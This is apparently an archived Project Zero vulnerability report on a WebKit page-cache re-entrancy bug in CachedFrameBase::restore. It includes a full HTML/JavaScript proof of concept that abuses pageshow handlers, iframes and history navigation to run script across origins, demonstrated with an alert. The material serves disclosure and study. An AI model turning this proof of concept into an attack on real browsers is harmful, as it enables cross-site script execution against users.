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<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151 Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored. void CachedFrameBase::restore() { ... for (auto& childFrame : m_childFrames) { ASSERT(childFrame->view()->frame().page()); frame.tree().appendChild(childFrame->view()->frame()); childFrame->open(); <----- (a) } ... // FIXME: update Page Visibility state here. // https://bugs.webkit.org/show_bug.cgi?id=116770 m_document->enqueuePageshowEvent(PageshowEventPersisted); HistoryItem* historyItem = frame.loader().history().currentItem(); if (historyItem && historyItem->stateObject()) m_document->enqueuePopstateEvent(historyItem->stateObject()); frame.view()->didRestoreFromPageCache(); } enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document. PoC: --> <html> <body> <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function navigate(w, url) { let a = w.document.createElement('a'); a.href = url; a.click(); } function main() { let i0 = document.body.appendChild(document.createElement('iframe')); let i1 = document.body.appendChild(document.createElement('iframe')); i0.contentWindow.onpageshow = () => { navigate(window, 'https://abc.xyz/'); showModalDialog(createURL(` <script> let it = setInterval(() => { try { opener.document.x; } catch (e) { clearInterval(it); window.close(); } }, 10); </scrip` + 't>')); }; i1.contentWindow.onpageshow = () => { i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>'; navigate(i1.contentWindow, 'about:srcdoc'); }; navigate(window, createURL(`<html><head></head><body>Click anywhere<script> window.onclick = () => { window.onclick = null; history.back(); }; </scrip` + `t></body></html>`)); } window.onload = () => { setTimeout(main, 0); }; </script> </body> </html>
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